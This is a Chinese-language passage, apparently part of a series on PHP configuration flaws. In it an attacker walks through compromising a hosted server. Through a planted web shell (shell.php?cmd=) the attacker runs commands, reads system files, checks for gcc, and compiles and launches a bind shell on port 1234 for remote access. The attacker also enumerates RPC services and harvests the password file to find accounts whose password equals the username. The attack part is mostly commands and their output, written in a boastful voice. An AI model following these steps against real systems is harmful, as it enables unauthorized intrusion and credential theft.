构建Linux下的安全，PHP配置漏洞攻击(1)(3)

只有几个用户有shell可以登陆,cp到我的目录下面,等一下分离出usrename看看有没有人username=passwd的~呵呵~

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=set

HOME=/

PS1=$

OPTIND=1

PS2=>

PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin

IFS=

好差的"环境",被设置成这样....

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=cat /etc/hosts

# $FreeBSD: src/etc/hosts,v 1.9.2.1 1999/08/29 14:18:44 peter Exp $

#

# Host Database

# This file should contain the addresses and aliases

# for local hosts that share this file.

# In the presence of the domain name service or NIS, this file may

# not be consulted at all; see /etc/host.conf for the resolution

order.

#

#

127.0.0.1 localhost localhost.my.domain myname.my.domain

#

# Imaginary network.

#10.0.0.2 myname.my.domain myname

#10.0.0.3 myfriend.my.domain myfriend

#

# According to RFC 1918, you can use the following IP networks for

# private nets which will never be connected to the Internet:

#

# 10.0.0.0 - 10.255.255.255

# 172.16.0.0 - 172.31.255.255

# 192.168.0.0 - 192.168.255.255

#

#

不算太小啊~hosts ~

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=whereis -b gcc

(老天保佑~有gcc)

gcc:/usr/sbin/gcc(万岁!!!!!!!!!!!!)

我来试试看~弄一个大家伙上去,编译一下,哈哈~速度好快!

webshell太累了,bind一个shell出来方便一点...(上传binshell程序,自己写也可以用perl/C,都不太难)

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=gcc -o bind bindshell.c

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=./bind 1234

bind shell too port 1234

telnet xxx.51.net 1234

.....下面省略,反正就可以执行命令了

嗯~好像这台没装MySQL,可惜~呵呵~~~~~~~~~,对了oso.com.cn的好像有~,不过最近停了.....

lynx http://xxx.51.net/cgi-bin/shell.php?cmd=/usr/sbin/rpcinfo -p

localhost

portmapper 100000 portmap sunrpc

rstatd 100001 rstat rstat_svc rup perfmeter

rusersd 100002 rusers

nfs 100003 nfsprog

ypserv 100004 ypprog

mountd 100005 mount showmount

ypbind 100007

walld 100008 rwall shutdown

yppasswdd 100009 yppasswd

etherstatd 100010 etherstat

rquotad 100011 rquotaprog quota rquota

sprayd 100012 spray

3270_mapper 100013

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